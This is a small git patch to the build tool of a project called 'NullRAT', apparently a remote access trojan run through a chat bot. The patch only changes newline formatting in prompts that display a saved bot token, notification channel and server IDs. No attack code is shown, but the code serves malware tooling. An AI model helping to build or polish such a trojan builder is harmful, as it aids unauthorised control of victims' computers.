From f341975396a936cf3396cc1ba5859c8800f9f1f0 Mon Sep 17 00:00:00 2001 From: NullCode1337 Date: Sat, 26 Feb 2022 11:54:06 +0600 Subject: [PATCH] Fix formatting --- compiler/src/Program.cs | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/compiler/src/Program.cs b/compiler/src/Program.cs index 85f1ced..3ca3d7b 100644 --- a/compiler/src/Program.cs +++ b/compiler/src/Program.cs @@ -88,7 +88,8 @@ public static void Main(string[] args) if (fileContent.Contains("# This file was auto-generated by NullRAT Compiler. DO NOT SHARE!")) { - if (AnsiConsole.Confirm("\nA previous configuration file was detected, do you want to see it's contents?")) + Console.WriteLine(); + if (AnsiConsole.Confirm("A previous configuration file was detected, do you want to see it's contents?")) { string[] splittedContent = fileContent.Split('\n'); for (int i = 0; i < splittedContent.Length; i++) @@ -96,7 +97,8 @@ public static void Main(string[] args) if (splittedContent[i].Contains("bot_token")) { string a = splittedContent[i].Split('=')[1].Replace('\"', ' '); - AnsiConsole.MarkupLine($"\nBot Token: {a.Trim()}"); + Console.WriteLine(); + AnsiConsole.MarkupLine($"Bot Token: {a.Trim()}"); } else if (splittedContent[i].Contains("notification_channel")) { @@ -109,7 +111,8 @@ public static void Main(string[] args) AnsiConsole.MarkupLine($"Server IDs:{c}"); } } - if (AnsiConsole.Confirm("\nDo you want to use this configuration file?")) + Console.WriteLine(); + if (AnsiConsole.Confirm("Do you want to use this configuration file?")) { goto CompileNullRAT; }